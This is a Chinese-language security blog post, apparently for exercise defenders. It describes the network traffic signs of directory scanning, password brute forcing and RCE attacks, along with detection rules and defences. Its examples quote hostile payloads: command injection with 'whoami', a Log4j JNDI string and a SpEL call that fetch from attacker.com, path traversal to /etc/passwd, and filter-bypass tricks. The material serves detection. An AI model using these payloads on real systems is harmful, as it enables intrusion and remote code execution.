【HW系列】—目录扫描、口令爆破、远程RCE流量特征
本文仅用于技术研究,禁止用于非法用途。
文章目录
- 目录扫描漏洞的流量特征及检测方法
- 一、基础流量特征
- 二、工具特征差异
- 三、绕过行为特征
- 四、关联行为特征
- 五、检测与防御建议
- 口令爆破漏洞的流量特征及检测方法
- 一、基础流量特征
- 二、工具标识特征
- 三、绕过行为特征
- 四、响应关联特征
- 五、检测与防御建议
- RCE漏洞的流量特征及检测方法
- 一、请求构造特征
- 二、攻击载荷特征
- 三、工具与行为特征
- 四、响应特征
- 五、检测与防御建议
目录扫描漏洞的流量特征及检测方法
目录扫描漏洞的流量特征主要体现在高频异常请求模式、特定工具标识和服务器响应异常等方面。以下为基于搜索结果整理的核心特征及检测策略:
一、基础流量特征
- 高频短时请求
- 短时间内发起大量HTTP请求(如每秒数十次),且请求行中的URL路径部分连续变化,例如依次尝试 /admin、/login、/backup 等敏感目录。
- 示例流量:
GET /admin HTTP/1.1
GET /wp-admin HTTP/1.1
GET /.git/config HTTP/1.1
- 异常响应码分布
- 服务器返回大量 404 Not Found 状态码(占比超过90%),少量 200 OK 或 403 Forbidden 响应可能对应存在的敏感路径。
- 参数与路径构造特征
- 请求路径中常包含常见敏感文件名(如 config.php、web.xml)或目录名(如 /uploads、/database)。
- 使用连续字母或数字排列的路径(如 /a → /b → /c)探测目录结构。
二、工具特征差异
不同扫描工具的流量具有显著标识:
- 御剑
- 主要使用 HEAD 方法,请求头仅包含基础字段(Host),无其他扩展头(如Cookie、Referer)。
- 响应包长度极短(因HEAD方法不返回正文)。
- DirBuster
- User-Agent 包含工具标识(如 DirBuster/1.0),且可能附带版本信息。
- 采用多线程模式,请求间隔时间随机性较低。
- Dirb
- User-Agent 伪装为老旧浏览器(如 Internet Explorer 6.0),此类标识在正常流量中极少出现。
- Dirsearch
- 路径尝试包含动态扩展名(如 .php、.jsp)与目录组合(如 /admin/login.php)。
三、绕过行为特征
- 编码混淆
- 对路径进行URL编码(如 %2e%2e%2f 表示 …/)或双重编码(如 %252e%252e%252f)以绕过基础过滤规则。
- 示例:
GET /%77%70%2d%61%64%6d%69%6e HTTP/1.1 // 对应 "/wp-admin"
- 协议级试探
- 结合 HTTP/1.0 与 HTTP/1.1 交替请求,测试服务器兼容性。
- 使用分块传输编码(Transfer-Encoding: chunked)规避内容长度检测。
四、关联行为特征
- 存活检测机制
- 在扫描前发送固定探测请求(如 GET /robots.txt 或 GET /favicon.ico)确认目标可达性。
- 敏感路径深度探测
- 对发现的潜在敏感路径发起二次遍历(如发现 /admin 后继续尝试 /admin/config.ini)。
- 与目录遍历漏洞联动
- 扫描完成后可能触发目录遍历攻击(如尝试 /images/…/…/etc/passwd),此类流量会携带 …/ 符号和系统敏感文件路径。
五、检测与防御建议
- 流量检测规则
- 统计单IP的404响应率阈值(如1分钟内404占比 >70% 则告警)。
- 匹配User-Agent中的工具标识(如 DirBuster、sqlmap)。
- 防御策略
- 路径白名单:限制应用仅允许访问预设目录,拒绝非常规路径请求。
- 动态混淆:对不存在路径返回相同长度的随机内容,干扰扫描器判断。
- 频率限制:设置IP请求速率阈值(如每秒 ≤10次)。
口令爆破漏洞的流量特征及检测方法
口令爆破漏洞的流量特征主要体现在高频请求模式、异常参数构造和工具标识特征等方面。以下结合多篇技术文档整理的核心特征及检测策略:
一、基础流量特征
- 高频重复请求
- 短时间内(如1分钟内)同一IP向同一登录接口发起数十至数百次请求,请求间隔时间短且规律性强(如固定0.5秒/次)。
- 典型场景:
POST /login HTTP/1.1
username=admin&password=123456
POST /login HTTP/1.1
username=admin&password=admin
POST /login HTTP/1.1
username=admin&password=Password123
- 参数构造特征
- 密码字段值呈现字典化特征(如 password=123456、password=admin、password=Welcome2023);
- 部分请求携带特殊符号(如 password=abc!@#)或变形规则(如 password=Admin123 → Adm1n123);
- 存在参数名混淆(如 pwd、passwd、pass 交替出现)或加密字段(如 u_pwd=5f4dcc3b5aa765d61d8327deb882cf99)。
二、工具标识特征
- User-Agent 异常
- 包含自动化工具标识(如 sqlmap/1.*、XSSer/1.0)或老旧浏览器版本(如 Internet Explorer 6.0);
- 存在自定义字符串(如 BruteForceBot)或缺失标准头信息(如无 Referer 字段)。
- 请求头关联行为
- 固定会话ID重复使用(如 Cookie: JSESSIONID=xxx 连续出现在不同请求中);
- 缺少正常用户交互头(如 Accept-Language 字段单一、无 DNT 隐私标识)。
三、绕过行为特征
- 编码混淆技术
- 对密码字段进行多重编码(如URL编码 %61%64%6d%69%6e 表示 admin);
- 使用动态盐值拼接(如 password=MD5(pass+salt))或加密函数(如 RSA(public_key, password))。
- 验证码绕过策略
- 请求中固定验证码值(如 code=000000)或直接删除验证码参数;
- 利用验证码接口未绑定会话的漏洞,通过多线程并发绕过校验。
四、响应关联特征
- 异常响应码分布
- 大量 401 Unauthorized 或 403 Forbidden 响应(占比超90%),偶现 200 OK(成功命中正确密码);
- 返回包长度呈现规律性差异(如错误响应固定为200字节,成功响应扩展至500字节)。
- 敏感信息泄露
- 错误响应中暴露账号有效性提示(如 {“code”:1,“msg”:“密码错误”} 与 {“code”:2,“msg”:“用户不存在”});
- 成功登录后返回过度的用户信息(如角色权限、Token有效期等)。
五、检测与防御建议
- 流量检测规则
- 统计单IP请求频率阈值(如60秒内同一接口请求 >30次触发告警);
- 匹配密码字段值的弱口令字典特征(如正则规则 password=.123.)。
- 防御策略
- 多因素认证:强制启用短信/邮箱验证码或生物识别;
- 动态锁定机制:单账号连续失败5次锁定30分钟,或引入渐近延迟(如第N次失败后等待N²秒);
- 行为分析:结合IP信誉库、设备指纹和登录地理位置进行风险评估。
RCE漏洞的流量特征及检测方法
远程代码执行(RCE)漏洞的流量特征可从请求构造异常、攻击载荷特征、工具标识和响应行为等多个维度分析。以下是基于多篇技术文档整理的核心特征及检测策略:
一、请求构造特征
- 异常参数构造
- 特殊符号高频出现:请求参数中包含命令分隔符(如 ;、|、&&)、逻辑运算符(如 ||)或反引号(`),用于拼接恶意指令。
示例:http://example.com/ping?ip=127.0.0.1; whoami - 编码混淆:参数值经过URL编码、Base64或十六进制转换,例如 %3B(对应 ;)或 d2hvYW1p(whoami的Base64编码)。
- 动态语言函数调用:如PHP的 eval($_POST[‘code’]) 或Java的 Runtime.getRuntime().exec(),流量中可能包含 eval、system 等敏感函数名。
- 特殊符号高频出现:请求参数中包含命令分隔符(如 ;、|、&&)、逻辑运算符(如 ||)或反引号(`),用于拼接恶意指令。
- 序列化数据特征
- 反序列化攻击:请求体中包含Java/Python序列化数据,特征为二进制流或编码后的JSON/XML结构,可能携带恶意类名(如 CommonsCollections)或方法调用链。
- 模板注入(SSTI):请求参数包含模板引擎语法,如Jinja2的 {{7*7}} 或SpEL的 T(java.lang.Runtime).exec(‘id’)。
二、攻击载荷特征
- 命令注入特征
- 系统命令高频出现:如 whoami、cat /etc/passwd、netstat -an 等探测或提权指令。
- 路径遍历与敏感文件操作:如 …/…/etc/passwd 或 C:\Windows\System32\drivers\etc\hosts,用于读取系统文件。
- 框架/组件漏洞利用特征
- Log4j2 JNDI注入:流量中包含 ${jndi:ldap://attacker.com/exp} 等格式的Payload。
- Spring SpEL注入:利用表达式语言执行命令,如 T(java.lang.Runtime).getRuntime().exec(‘curl attacker.com/shell.sh’)。
- Apache Struts OGNL注入:如 %{(#_=‘multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess=#dm)}。
三、工具与行为特征
- 自动化工具标识
- User-Agent异常:包含 sqlmap、Burp Suite 或自定义扫描器标识(如 XSSer/1.0)。
- 高频试探性请求:短时间内对同一接口发起多次变种攻击,例如尝试不同编码方式的Payload或命令组合。
- 绕过行为特征
- 通配符与转义符滥用:如 cat /et?/pass* 或 c\at hello.txt,利用系统解析规则绕过过滤。
- 未初始化变量注入:在命令末尾追加空变量(如 $a),利用系统对空值的忽略特性绕过黑名单。
四、响应特征
- 异常响应内容
- 命令执行结果回显:响应中包含系统命令输出(如用户权限信息、文件内容)。
- 错误信息泄露:如Java堆栈跟踪暴露 java.lang.Runtime.exec() 的调用路径,或PHP的 eval() 错误提示。
- 响应长度与状态码异常
- 成功执行时的响应扩展:例如正常请求响应长度为200字节,成功执行后因回显结果增至500字节。
- 错误码激增:大量 500 Internal Server Error 或 400 Bad Request,可能因恶意Payload触发解析失败。
五、检测与防御建议
- 流量检测规则
- 正则匹配:针对命令分隔符(如 ;、|)、敏感函数名(如 eval、exec)和常见Payload(如 jndi:、T(java.lang.Runtime))设计规则。
- 行为分析:监控单IP的高频请求(如1分钟内超过50次)或异常响应码分布(404/500占比超过80%)。
- 防御策略
- 输入白名单验证:限制参数格式(如IP地址正则匹配)并过滤危险符号。
- 禁用危险函数:在PHP配置中设置 disable_functions = system, exec,或Java中限制 Runtime.exec() 的调用权限。
- 安全框架集成:使用RASP(运行时应用自保护)技术监控代码执行上下文,阻断异常调用链。
注:本文遵循CSDN社区内容规范,不涉及具体攻击实现,重点探讨防御方法论。